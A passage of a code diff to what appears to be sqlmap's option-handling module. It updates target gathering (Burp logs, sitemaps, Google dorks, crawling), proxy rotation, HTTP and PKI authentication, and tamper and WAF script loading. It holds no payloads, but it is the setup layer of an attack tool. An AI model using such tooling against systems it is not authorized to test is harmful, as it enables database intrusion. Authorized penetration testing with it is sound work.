getCurrentThreadData from lib.core.update import update from lib.parse.configfile import configFileParser +from lib.parse.payloads import loadBoundaries from lib.parse.payloads import loadPayloads +from lib.parse.sitemap import parseSitemap from lib.request.basic import checkCharEncoding from lib.request.connect import Connect as Request from lib.request.dns import DNSServer from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler -from lib.request.certhandler import HTTPSCertAuthHandler from lib.request.httpshandler import HTTPSHandler +from lib.request.pkihandler import HTTPSPKIAuthHandler from lib.request.rangehandler import HTTPRangeHandler from lib.request.redirecthandler import SmartRedirectHandler from lib.request.templates import getPageTemplate from lib.utils.crawler import crawl from lib.utils.deps import checkDependencies from lib.utils.google import Google +from lib.utils.purge import purge from thirdparty.colorama.initialise import init as coloramainit from thirdparty.keepalive import keepalive from thirdparty.oset.pyoset import oset @@ -149,7 +155,7 @@ from xml.etree.ElementTree import ElementTree authHandler = urllib2.BaseHandler() httpsHandler = HTTPSHandler() keepAliveHandler = keepalive.HTTPHandler() -proxyHandler = urllib2.BaseHandler() +proxyHandler = urllib2.ProxyHandler() redirectHandler = SmartRedirectHandler() rangeHandler = HTTPRangeHandler() @@ -180,7 +186,7 @@ def _urllib2Opener(): if conf.proxy: warnMsg += "with HTTP(s) proxy" logger.warn(warnMsg) - elif conf.aType: + elif conf.authType: warnMsg += "with authentication methods" logger.warn(warnMsg) else: @@ -219,7 +225,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls): if not(conf.scope and not re.search(conf.scope, url, re.I)): if not kb.targets or url not in addedTargetUrls: - kb.targets.add((url, method, None, cookie)) + kb.targets.add((url, method, None, cookie, None)) addedTargetUrls.add(url) def _parseBurpLog(content): @@ -228,12 +234,25 @@ def _feedTargetsDict(reqFile, addedTargetUrls): """ if not re.search(BURP_REQUEST_REGEX, content, re.I | re.S): - reqResList = [content] + if re.search(BURP_XML_HISTORY_REGEX, content, re.I | re.S): + reqResList = [] + for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S): + port, request = match.groups() + request = request.decode("base64") + _ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request) + if _: + host = _.group(0).strip() + if not re.search(r":\d+\Z", host): + request = request.replace(host, "%s:%d" % (host, int(port))) + reqResList.append(request) + else: + reqResList = [content] else: reqResList = re.finditer(BURP_REQUEST_REGEX, content, re.I | re.S) for match in reqResList: request = match if isinstance(match, basestring) else match.group(0) + request = re.sub(r"\A[^\w]+", "", request) schemePort = re.search(r"(http[\w]*)\:\/\/.*?\:([\d]+).+?={10,}", request, re.I | re.S) @@ -258,6 +277,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls): params = False newline = None lines = request.split('\n') + headers = [] for index in xrange(len(lines)): line = lines[index] @@ -269,7 +289,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls): line = line.strip('\r') match = re.search(r"\A(%s) (.+) HTTP/[\d.]+\Z" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), line) if not method else None - if len(line) == 0 and method in (HTTPMETHOD.POST, HTTPMETHOD.PUT) and data is None: + if len(line) == 0 and method and method != HTTPMETHOD.GET and data is None: data = "" params = True @@ -277,7 +297,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls): method = match.group(1) url = match.group(2) - if "?" in line and "=" in line: + if any(_ in line for _ in ('?', '=', CUSTOM_INJECTION_MARK_CHAR)): params = True getPostReq = True @@ -307,14 +327,14 @@ def _feedTargetsDict(reqFile, addedTargetUrls): port = filterStringValue(splitValue[1], "[0-9]") # Avoid to add a static content length header to - # conf.httpHeaders and consider the following lines as + # headers and consider the following lines as # POSTed data if key.upper() == HTTP_HEADER.CONTENT_LENGTH.upper(): params = True # Avoid proxy and connection type related headers elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION): - conf.httpHeaders.append((getUnicode(key), getUnicode(value))) + headers.append((getUnicode(key), getUnicode(value))) if CUSTOM_INJECTION_MARK_CHAR in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""): params = True @@ -342,12 +362,17 @@ def _feedTargetsDict(reqFile, addedTargetUrls): if not(conf.scope and not re.search(conf.scope, url, re.I)): if not kb.targets or url not in addedTargetUrls: - kb.targets.add((url, method, data, cookie)) + kb.targets.add((url, method, data, cookie, tuple(headers))) addedTargetUrls.add(url) - fp = openFile(reqFile, "rb") - - content = fp.read() + checkFile(reqFile) + try: + with openFile(reqFile, "rb") as f: + content = f.read() + except (IOError, OSError, MemoryError), ex: + errMsg = "something went wrong while trying " + errMsg += "to read the content of file '%s' ('%s')" % (reqFile, ex) + raise SqlmapSystemException(errMsg) if conf.scope: logger.info("using regular expression '%s' for filtering targets" % conf.scope) @@ -387,7 +412,13 @@ def _loadQueries(): return retVal tree = ElementTree() - tree.parse(paths.QUERIES_XML) + try: + tree.parse(paths.QUERIES_XML) + except Exception, ex: + errMsg = "something seems to be wrong with " + errMsg += "the file '%s' ('%s'). Please make " % (paths.QUERIES_XML, ex) + errMsg += "sure that you haven't made any changes to it" + raise SqlmapInstallationException, errMsg for node in tree.findall("*"): queries[node.attrib['value']] = iterate(node) @@ -433,7 +464,8 @@ def _setMultipleTargets(): if updatedTargetsCount > initialTargetsCount: infoMsg = "sqlmap parsed %d " % (updatedTargetsCount - initialTargetsCount) - infoMsg += "testable requests from the targets list" + infoMsg += "(parameter unique) requests from the " + infoMsg += "targets list ready to be tested" logger.info(infoMsg) def _adjustLoggingFormatter(): @@ -446,11 +478,12 @@ def _adjustLoggingFormatter(): return def format(record): - _ = boldifyMessage(FORMATTER._format(record)) - if kb.prependFlag: - _ = "\n%s" % _ + message = FORMATTER._format(record) + message = boldifyMessage(message) + if kb.get("prependFlag"): + message = "\n%s" % message kb.prependFlag = False - return _ + return message FORMATTER._format = FORMATTER.format FORMATTER.format = format @@ -466,7 +499,7 @@ def _setRequestFromFile(): addedTargetUrls = set() - conf.requestFile = os.path.expanduser(conf.requestFile) + conf.requestFile = safeExpandUser(conf.requestFile) infoMsg = "parsing HTTP request from '%s'" % conf.requestFile logger.info(infoMsg) @@ -482,20 +515,23 @@ def _setCrawler(): if not conf.crawlDepth: return - if not conf.bulkFile: + if not any((conf.bulkFile, conf.sitemapUrl)): crawl(conf.url) else: - targets = getFileItems(conf.bulkFile) + if conf.bulkFile: + targets = getFileItems(conf.bulkFile) + else: + targets = parseSitemap(conf.sitemapUrl) for i in xrange(len(targets)): try: target = targets[i] crawl(target) if conf.verbose in (1, 2): - status = '%d/%d links visited (%d%%)' % (i + 1, len(targets), round(100.0 * (i + 1) / len(targets))) + status = "%d/%d links visited (%d%%)" % (i + 1, len(targets), round(100.0 * (i + 1) / len(targets))) dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True) except Exception, ex: - errMsg = "problem occured while crawling at '%s' ('%s')" % (target, ex) + errMsg = "problem occurred while crawling at '%s' ('%s')" % (target, ex) logger.error(errMsg) def _setGoogleDorking(): @@ -543,14 +579,14 @@ def _setGoogleDorking(): for link in links: link = urldecode(link) if re.search(r"(.*?)\?(.+)", link): - kb.targets.add((link, conf.method, conf.data, conf.cookie)) + kb.targets.add((link, conf.method, conf.data, conf.cookie, None)) elif re.search(URI_INJECTABLE_REGEX, link, re.I): - if kb.data.onlyGETs is None and conf.data is None: + if kb.data.onlyGETs is None and conf.data is None and not conf.googleDork: message = "do you want to scan only results containing GET parameters? [Y/n] " test = readInput(message, default="Y") kb.data.onlyGETs = test.lower() != 'n' - if not kb.data.onlyGETs: - kb.targets.add((link, conf.method, conf.data, conf.cookie)) + if not kb.data.onlyGETs or conf.googleDork: + kb.targets.add((link, conf.method, conf.data, conf.cookie, None)) return links @@ -586,7 +622,7 @@ def _setBulkMultipleTargets(): if not conf.bulkFile: return - conf.bulkFile = os.path.expanduser(conf.bulkFile) + conf.bulkFile = safeExpandUser(conf.bulkFile) infoMsg = "parsing multiple targets list from '%s'" % conf.bulkFile logger.info(infoMsg) @@ -596,9 +632,32 @@ def _setBulkMultipleTargets(): errMsg += "does not exist" raise SqlmapFilePathException(errMsg) + found = False for line in getFileItems(conf.bulkFile): if re.match(r"[^ ]+\?(.+)", line, re.I) or CUSTOM_INJECTION_MARK_CHAR in line: - kb.targets.add((line.strip(), None, None, None)) + found = True + kb.targets.add((line.strip(), None, None, None, None)) + + if not found and not conf.forms and not conf.crawlDepth: + warnMsg = "no usable links found (with GET parameters)" + logger.warn(warnMsg) + +def _setSitemapTargets(): + if not conf.sitemapUrl: + return + + infoMsg = "parsing sitemap '%s'" % conf.sitemapUrl + logger.info(infoMsg) + + found = False + for item in parseSitemap(conf.sitemapUrl): + if re.match(r"[^ ]+\?(.+)", item, re.I): + found = True + kb.targets.add((item.strip(), None, None, None, None)) + + if not found and not conf.forms and not conf.crawlDepth: + warnMsg = "no usable links found (with GET parameters)" + logger.warn(warnMsg) def _findPageForms(): if not conf.forms or conf.crawlDepth: @@ -610,11 +669,17 @@ def _findPageForms(): infoMsg = "searching for forms" logger.info(infoMsg) - if not conf.bulkFile: + if not any((conf.bulkFile, conf.googleDork, conf.sitemapUrl)): page, _ = Request.queryPage(content=True) findPageForms(page, conf.url, True, True) else: - targets = getFileItems(conf.bulkFile) + if conf.bulkFile: + targets = getFileItems(conf.bulkFile) + elif conf.sitemapUrl: + targets = parseSitemap(conf.sitemapUrl) + elif conf.googleDork: + targets = [_[0] for _ in kb.targets] + kb.targets.clear() for i in xrange(len(targets)): try: target = targets[i] @@ -624,8 +689,10 @@ def _findPageForms(): if conf.verbose in (1, 2): status = '%d/%d links visited (%d%%)' % (i + 1, len(targets), round(100.0 * (i + 1) / len(targets))) dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True) + except KeyboardInterrupt: + break except Exception, ex: - errMsg = "problem occured while searching for forms at '%s' ('%s')" % (target, ex) + errMsg = "problem occurred while searching for forms at '%s' ('%s')" % (target, ex) logger.error(errMsg) def _setDBMSAuthentication(): @@ -660,6 +727,15 @@ def _setMetasploit(): msfEnvPathExists = False if IS_WIN: + try: + import win32file + except ImportError: + errMsg = "sqlmap requires third-party module 'pywin32' " + errMsg += "in order to use Metasploit functionalities on " + errMsg += "Windows. You can download it from " + errMsg += "'http://sourceforge.net/projects/pywin32/files/pywin32/'" + raise SqlmapMissingDependence(errMsg) + if not conf.msfPath: def _(key, value): retVal = None @@ -819,16 +895,14 @@ def _setDBMS(): if conf.dbms not in SUPPORTED_DBMS: errMsg = "you provided an unsupported back-end database management " - errMsg += "system. The supported DBMS are %s. " % ', '.join([_ for _ in DBMS_DICT]) + errMsg += "system. Supported DBMSes are as follows: %s. " % ', '.join(sorted(_ for _ in DBMS_DICT)) errMsg += "If you do not know the back-end DBMS, do not provide " errMsg += "it and sqlmap will fingerprint it for you." raise SqlmapUnsupportedDBMSException(errMsg) - for aliases in (MSSQL_ALIASES, MYSQL_ALIASES, PGSQL_ALIASES, ORACLE_ALIASES, \ - SQLITE_ALIASES, ACCESS_ALIASES, FIREBIRD_ALIASES, \ - MAXDB_ALIASES, SYBASE_ALIASES, DB2_ALIASES): + for dbms, aliases in DBMS_ALIASES: if conf.dbms in aliases: - conf.dbms = aliases[0] + conf.dbms = dbms break @@ -878,13 +952,13 @@ def _setTamperingFunctions(): try: module = __import__(filename[:-3]) - except ImportError, msg: + except (ImportError, SyntaxError), msg: raise SqlmapSyntaxException("cannot import tamper script '%s' (%s)" % (filename[:-3], msg)) priority = PRIORITY.NORMAL if not hasattr(module, '__priority__') else module.__priority__ for name, function in inspect.getmembers(module, inspect.isfunction): - if name == "tamper": + if name == "tamper" and inspect.getargspec(function).args and inspect.getargspec(function).keywords == "kwargs": found = True kb.tamperFunctions.append(function) function.func_name = module.__name__ @@ -912,10 +986,15 @@ def _setTamperingFunctions(): function() if not found: - errMsg = "missing function 'tamper(payload, headers)' " + errMsg = "missing function 'tamper(payload, **kwargs)' " errMsg += "in tamper script '%s'" % tfile raise SqlmapGenericException(errMsg) + if kb.tamperFunctions and len(kb.tamperFunctions) > 3: + warnMsg = "using too many tamper scripts is usually not " + warnMsg += "a good idea" + logger.warning(warnMsg) + if resolve_priorities and priorities: priorities.sort(reverse=True) kb.tamperFunctions = [] @@ -943,13 +1022,15 @@ def _setWafFunctions(): sys.path.insert(0, dirname) try: + if filename[:-3] in sys.modules: + del sys.modules[filename[:-3]] module = __import__(filename[:-3]) except ImportError, msg: raise SqlmapSyntaxException("cannot import WAF script '%s' (%s)" % (filename[:-3], msg)) _ = dict(inspect.getmembers(module)) if "detect" not in _: - errMsg = "missing function 'detect(page, headers, code)' " + errMsg = "missing function 'detect(get_page)' " errMsg += "in WAF script '%s'" % found raise SqlmapGenericException(errMsg) else: @@ -980,22 +1061,37 @@ def _setHTTPProxy(): """ Check and set the HTTP/SOCKS proxy for all HTTP requests. """ - global proxyHandler - if not conf.proxy: - if conf.hostname in ('localhost', '127.0.0.1') or conf.ignoreProxy: - proxyHandler = urllib2.ProxyHandler({}) + for _ in ("http", "https"): + if hasattr(proxyHandler, "%s_open" % _): + delattr(proxyHandler, "%s_open" % _) - return + if not conf.proxy: + if conf.proxyList: + conf.proxy = conf.proxyList[0] + conf.proxyList = conf.proxyList[1:] + conf.proxyList[:1] + + infoMsg = "loading proxy '%s' from a supplied proxy list file" % conf.proxy + logger.info(infoMsg) + else: + if conf.hostname in ('localhost', '127.0.0.1') or conf.ignoreProxy: + proxyHandler.proxies = {} + + return debugMsg = "setting the HTTP/SOCKS proxy for all HTTP requests" logger.debug(debugMsg) - proxySplit = urlparse.urlsplit(conf.proxy) - hostnamePort = proxySplit.netloc.split(":") + try: + _ = urlparse.urlsplit(conf.proxy) + except Exception, ex: + errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, ex) + raise SqlmapSyntaxException, errMsg - scheme = proxySplit.scheme.upper() + hostnamePort = _.netloc.split(":") + + scheme = _.scheme.upper() hostname = hostnamePort[0] port = None username = None @@ -1008,11 +1104,11 @@ def _setHTTPProxy(): pass # drops into the next check block if not all((scheme, hasattr(PROXY_TYPE, scheme), hostname, port)): - errMsg = "proxy value must be in format '(%s)://url:port'" % "|".join(_[0].lower() for _ in getPublicTypeMembers(PROXY_TYPE)) + errMsg = "proxy value must be in format '(%s)://address:port'" % "|".join(_[0].lower() for _ in getPublicTypeMembers(PROXY_TYPE)) raise SqlmapSyntaxException(errMsg) - if conf.pCred: - _ = re.search("^(.*?):(.*?)$", conf.pCred) + if conf.proxyCred: + _ = re.search("^(.*?):(.*?)$", conf.proxyCred) if not _: errMsg = "Proxy authentication credentials " errMsg += "value must be in format username:password" @@ -1022,33 +1118,81 @@ def _setHTTPProxy(): password = _.group(2) if scheme in (PROXY_TYPE.SOCKS4, PROXY_TYPE.SOCKS5): + proxyHandler.proxies = {} + socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if scheme == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, hostname, port, username=username, password=password) socks.wrapmodule(urllib2) else: - if conf.pCred: + socks.unwrapmodule(urllib2) + + if conf.proxyCred: # Reference: http://stackoverflow.com/questions/34079/how-to-specify-an-authenticated-proxy-for-a-python-http-connection - proxyString = "%s@" % conf.pCred + proxyString = "%s@" % conf.proxyCred else: proxyString = "" proxyString += "%s:%d" % (hostname, port) - proxyHandler = urllib2.ProxyHandler({"http": proxyString, "https": proxyString}) + proxyHandler.proxies = {"http": proxyString, "https": proxyString} -def _setSafeUrl(): + proxyHandler.__init__(proxyHandler.proxies) + +def _setSafeVisit(): """ - Check and set the safe URL options. + Check and set the safe visit options. """ - if not conf.safUrl: + if not any ((conf.safeUrl, conf.safeReqFile)): return - if not re.search("^http[s]*://", conf.safUrl): - if ":443/" in conf.safUrl: - conf.safUrl = "https://" + conf.safUrl - else: - conf.safUrl = "http://" + conf.safUrl + if conf.safeReqFile: + checkFile(conf.safeReqFile) - if conf.saFreq <= 0: - errMsg = "please provide a valid value (>0) for safe frequency (--safe-freq) while using safe URL feature" + raw = readCachedFileContent(conf.safeReqFile) + match = re.search(r"\A([A-Z]+) ([^ ]+) HTTP/[0-9.]+\Z", raw[:raw.find('\n')]) + + if match: + kb.safeReq.method = match.group(1) + kb.safeReq.url = match.group(2) + kb.safeReq.headers = {} + + for line in raw[raw.find('\n') + 1:].split('\n'): + line = line.strip() + if line and ':' in line: + key, value = line.split(':', 1) + value = value.strip() + kb.safeReq.headers[key] = value + if key == HTTP_HEADER.HOST: + if not value.startswith("http"): + scheme = "http" + if value.endswith(":443"): + scheme = "https" + value = "%s://%s" % (scheme, value) + kb.safeReq.url = urlparse.urljoin(value, kb.safeReq.url) + else: + break + + post = None + + if '\r\n\r\n' in raw: + post = raw[raw.find('\r\n\r\n') + 4:] + elif '\n\n' in raw: + post = raw[raw.find('\n\n') + 2:] + + if post and post.strip(): + kb.safeReq.post = post + else: + kb.safeReq.post = None + else: + errMsg = "invalid format of a safe request file" + raise SqlmapSyntaxException, errMsg + else: + if not re.search("^http[s]*://", conf.safeUrl): + if ":443/" in conf.safeUrl: + conf.safeUrl = "https://" + conf.safeUrl + else: + conf.safeUrl = "http://" + conf.safeUrl + + if conf.safeFreq <= 0: + errMsg = "please provide a valid value (>0) for safe frequency (--safe-freq) while using safe visit features" raise SqlmapSyntaxException(errMsg) def _setPrefixSuffix(): @@ -1085,42 +1229,46 @@ def _setAuthCred(): (used by connection handler) """ - if kb.passwordMgr: - kb.passwordMgr.add_password(None, "%s://%s" % (conf.scheme, conf.hostname), conf.authUsername, conf.authPassword) + if kb.passwordMgr and all(_ is not None for _ in (conf.scheme, conf.hostname, conf.port, conf.authUsername, conf.authPassword)): + kb.passwordMgr.add_password(None, "%s://%s:%d" % (conf.scheme, conf.hostname, conf.port), conf.authUsername, conf.authPassword) def _setHTTPAuthentication(): """ - Check and set the HTTP(s) authentication method (Basic, Digest, NTLM or Certificate), - username and password for first three methods, or key file and certification file for - certificate authentication + Check and set the HTTP(s) authentication method (Basic, Digest, NTLM or PKI), + username and password for first three methods, or PEM private key file for + PKI authentication """ global authHandler - if not conf.aType and not conf.aCred and not conf.aCert: + if not conf.authType and not conf.authCred and not conf.authPrivate: return - elif conf.aType and not conf.aCred and not conf.aCert: + if conf.authPrivate and not conf.authType: + conf.authType = AUTH_TYPE.PKI + + elif conf.authType and not conf.authCred and not conf.authPrivate: errMsg = "you specified the HTTP authentication type, but " errMsg += "did not provide the credentials" raise SqlmapSyntaxException(errMsg) - elif not conf.aType and conf.aCred: + elif not conf.authType and conf.authCred: errMsg = "you specified the HTTP authentication credentials, " errMsg += "but did not provide the type" raise SqlmapSyntaxException(errMsg) - if not conf.aCert: + elif (conf.authType or "").lower() not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.NTLM, AUTH_TYPE.PKI): + errMsg = "HTTP authentication type value must be " + errMsg += "Basic, Digest, NTLM or PKI" + raise SqlmapSyntaxException(errMsg) + + if not conf.authPrivate: debugMsg = "setting the HTTP authentication type and credentials" logger.debug(debugMsg) - aTypeLower = conf.aType.lower() + aTypeLower = conf.authType.lower() - if aTypeLower not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.NTLM, AUTH_TYPE.CERT): - errMsg = "HTTP authentication type value must be " - errMsg += "Basic, Digest, NTLM or Cert" - raise SqlmapSyntaxException(errMsg) - elif aTypeLower in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST): + if aTypeLower in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST): regExp = "^(.*?):(.*?)$" errMsg = "HTTP %s authentication credentials " % aTypeLower errMsg += "value must be in format 'username:password'" @@ -1128,12 +1276,12 @@ def _setHTTPAuthentication(): regExp = "^(.*\\\\.*):(.*?)$" errMsg = "HTTP NTLM authentication credentials value must " errMsg += "be in format 'DOMAIN\username:password'" - elif aTypeLower == AUTH_TYPE.CERT: - errMsg = "HTTP Cert authentication require " - errMsg += "usage of option `--auth-cert`" + elif aTypeLower == AUTH_TYPE.PKI: + errMsg = "HTTP PKI authentication require " + errMsg += "usage of option `--auth-pki`" raise SqlmapSyntaxException(errMsg) - aCredRegExp = re.search(regExp, conf.aCred) + aCredRegExp = re.search(regExp, conf.authCred) if not aCredRegExp: raise SqlmapSyntaxException(errMsg) @@ -1162,36 +1310,12 @@ def _setHTTPAuthentication(): authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr) else: - debugMsg = "setting the HTTP(s) authentication certificate" + debugMsg = "setting the HTTP(s) authentication PEM private key" logger.debug(debugMsg) - aCertRegExp = re.search("^(.+?),\s*(.+?)$", conf.aCert) - - if not aCertRegExp: - errMsg = "HTTP authentication certificate option " - errMsg += "must be in format 'key_file,cert_file'" - raise SqlmapSyntaxException(errMsg) - - # os.path.expanduser for support of paths with ~ - key_file = os.path.expanduser(aCertRegExp.group(1)) - cert_file = os.path.expanduser(aCertRegExp.group(2)) - - for ifile in (key_file, cert_file): - if not os.path.exists(ifile): - errMsg = "file '%s' does not exist" % ifile - raise SqlmapSyntaxException(errMsg) - - authHandler = HTTPSCertAuthHandler(key_file, cert_file) - -def _setHTTPMethod(): - """ - Check and set the HTTP method to perform HTTP requests through. - """ - - conf.method = HTTPMETHOD.POST if conf.data is not None else HTTPMETHOD.GET - - debugMsg = "setting the HTTP method to %s" % conf.method - logger.debug(debugMsg) + _ = safeExpandUser(conf.authPrivate) + checkFile(_) + authHandler = HTTPSPKIAuthHandler(_) def _setHTTPExtraHeaders(): if conf.headers: @@ -1299,20 +1423,14 @@ def _setHTTPUserAgent(): conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _defaultHTTPUserAgent())) return - count = len(kb.userAgents) - - if count == 1: - userAgent = kb.userAgents[0] - else: - userAgent = kb.userAgents[randomRange(stop=count - 1)] - - userAgent = sanitizeStr(userAgent) - conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, userAgent)) + userAgent = random.sample(kb.userAgents or [_defaultHTTPUserAgent()], 1)[0] infoMsg = "fetched random HTTP User-Agent header from " - infoMsg += "file '%s': %s" % (paths.USER_AGENTS, userAgent) + infoMsg += "file '%s': '%s'" % (paths.USER_AGENTS, userAgent) logger.info(infoMsg) + conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, userAgent)) + def _setHTTPReferer(): """ Set the HTTP Referer @@ -1324,6 +1442,17 @@ def _setHTTPReferer(): conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.referer)) +def _setHTTPHost(): + """ + Set the HTTP Host + """ + + if conf.host: + debugMsg = "setting the HTTP Host header" + logger.debug(debugMsg) + + conf.httpHeaders.append((HTTP_HEADER.HOST, conf.host)) + def _setHTTPCookies(): """ Set the HTTP Cookie header @@ -1365,6 +1494,30 @@ def _checkDependencies(): if conf.dependencies: checkDependencies() +def _createTemporaryDirectory(): + """ + Creates temporary directory for this run. + """ + + try: + if not os.path.isdir(tempfile.gettempdir()): + os.makedirs(tempfile.gettempdir()) + except IOError, ex: + errMsg = "there has been a problem while accessing " + errMsg += "system's temporary directory location(s) ('%s'). Please " % ex + errMsg += "make sure that there is enough disk space left. If problem persists, " + errMsg += "try to set environment variable 'TEMP' to a location " + errMsg += "writeable by the current user" + raise SqlmapSystemException, errMsg + + if "sqlmap" not in (tempfile.tempdir or ""): + tempfile.tempdir = tempfile.mkdtemp(prefix="sqlmap", suffix=str(os.getpid())) + + kb.tempDir = tempfile.tempdir + + if not os.path.isdir(tempfile.tempdir): + os.makedirs(tempfile.tempdir) + def _cleanupOptions(): """ Cleanup configuration attributes. @@ -1380,6 +1533,10 @@ def _cleanupOptions(): else: conf.progressWidth = width - 46 + for key, value in conf.items(): + if value and any(key.endswith(_) for _ in ("Path", "File")): + conf[key] = safeExpandUser(value) + if conf.testParameter: conf.testParameter = urldecode(conf.testParameter) conf.testParameter = conf.testParameter.replace(" ", "") @@ -1396,8 +1553,8 @@ def _cleanupOptions(): else: conf.rParam = [] - if conf.pDel and '\\' in conf.pDel: - conf.pDel = conf.pDel.decode("string_escape") + if conf.paramDel and '\\' in conf.paramDel: + conf.paramDel = conf.paramDel.decode("string_escape") if conf.skip: conf.skip = conf.skip.replace(" ", "") @@ -1417,13 +1574,16 @@ def _cleanupOptions(): if conf.dFile: conf.dFile = ntToPosixSlashes(normalizePath(conf.dFile)) + if conf.sitemapUrl and not conf.sitemapUrl.lower().startswith("http"): + conf.sitemapUrl = "http%s://%s" % ('s' if conf.forceSSL else '', conf.sitemapUrl) + if conf.msfPath: conf.msfPath = ntToPosixSlashes(normalizePath(conf.msfPath)) if conf.tmpPath: conf.tmpPath = ntToPosixSlashes(normalizePath(conf.tmpPath)) - if conf.googleDork or conf.logFile or conf.bulkFile or conf.forms or conf.crawlDepth: + if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.forms, conf.crawlDepth)): conf.multipleTargets = True if conf.optimize: @@ -1442,8 +1602,8 @@ def _cleanupOptions(): conf.dbms = conf.dbms.capitalize() if conf.testFilter: - if not any([char in conf.testFilter for char in ('.', ')', '(', ']', '[')]): - conf.testFilter = conf.testFilter.replace('*', '.*') + conf.testFilter = conf.testFilter.strip('*+') + conf.testFilter = re.sub(r"([^.])([*+])", "\g<1>.\g<2>", conf.testFilter) if "timeSec" not in kb.explicitSettings: if conf.tor: @@ -1466,14 +1626,14 @@ def _cleanupOptions(): if conf.csvDel: conf.csvDel = conf.csvDel.decode("string_escape") # e.g. '\\t' -> '\t' - if conf.torPort and conf.torPort.isdigit(): + if conf.torPort and isinstance(conf.torPort, basestring) and conf.torPort.isdigit(): conf.torPort = int(conf.torPort) if conf.torType: conf.torType = conf.torType.upper() - if conf.oDir: - paths.SQLMAP_OUTPUT_PATH = conf.oDir + if conf.outputDir: + paths.SQLMAP_OUTPUT_PATH = conf.outputDir setPaths() if conf.string: @@ -1497,6 +1657,15 @@ def _cleanupOptions(): if conf.torType: conf.torType = conf.torType.upper() + if conf.col: + conf.col = re.sub(r"\s*,\s*", ",", conf.col) + + if conf.excludeCol: + conf.excludeCol = re.sub(r"\s*,\s*", ",", conf.excludeCol) + + if conf.binaryFields: + conf.binaryFields = re.sub(r"\s*,\s*", ",", conf.binaryFields) + threadData = getCurrentThreadData() threadData.reset() @@ -1536,6 +1705,7 @@ def _setConfAttributes(): conf.parameters = {} conf.path = None conf.port = None + conf.proxyList = [] conf.resultsFilename = None conf.resultsFP = None conf.scheme = None @@ -1559,6 +1729,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.arch = None kb.authHeader = None kb.bannerFp = AttribDict() + kb.binaryField = False kb.brute = AttribDict({"tables": [], "columns": []}) kb.bruteMode = False @@ -1570,10 +1741,11 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.chars = AttribDict() kb.chars.delimiter = randomStr(length=6, lowercase=True) - kb.chars.start = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, lowercase=True), KB_CHARS_BOUNDARY_CHAR) - kb.chars.stop = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, lowercase=True), KB_CHARS_BOUNDARY_CHAR) + kb.chars.start = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) + kb.chars.stop = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = ("%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, _, KB_CHARS_BOUNDARY_CHAR) for _ in randomStr(length=4, lowercase=True)) + kb.columnExistsChoice = None kb.commonOutputs = None kb.counters = {} kb.data = AttribDict() @@ -1596,9 +1768,12 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.extendTests = None kb.errorIsNone = True kb.fileReadMode = False + kb.followSitemapRecursion = None kb.forcedDbms = None + kb.forcePartialUnion = False kb.headersFp = {} kb.heuristicDbms = None + kb.heuristicMode = False kb.heuristicTest = None kb.hintValue = None kb.htmlFp = [] @@ -1643,6 +1818,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.permissionFlag = False kb.postHint = None kb.postSpaceToPlus = False + kb.postUrlEncode = True kb.prependFlag = False kb.processResponseCounter = 0 kb.previousMethod = None @@ -1657,16 +1833,23 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.responseTimes = [] kb.resumeValues = True kb.safeCharEncode = False + kb.safeReq = AttribDict() kb.singleLogFlags = set() kb.reduceTests = None + kb.tlsSNI = None kb.stickyDBMS = False kb.stickyLevel = None + kb.storeCrawlingChoice = None + kb.storeHashesChoice = None kb.suppressResumeInfo = False kb.technique = None + kb.tempDir = None kb.testMode = False kb.testQueryCount = 0 + kb.testType = None kb.threadContinue = True kb.threadException = False + kb.tableExistsChoice = None kb.timeValidCharsRun = 0 kb.uChar = NULL kb.unionDuplicates = False @@ -1676,6 +1859,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.headerPaths = {} kb.keywords = set(getFileItems(paths.SQL_KEYWORDS)) kb.passwordMgr = None + kb.skipVulnHost = None kb.tamperFunctions = [] kb.targets = oset() kb.testedParams = set() @@ -1695,25 +1879,20 @@ def _useWizardInterface(): logger.info("starting wizard interface") - while True: - while not conf.url: - message = "Please enter full target URL (-u): " - conf.url = readInput(message, default=None) + while not conf.url: + message = "Please enter full target URL (-u): " + conf.url = readInput(message, default=None) - message = "POST data (--data) [Enter for None]: " - conf.data = readInput(message, default=None) + message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != 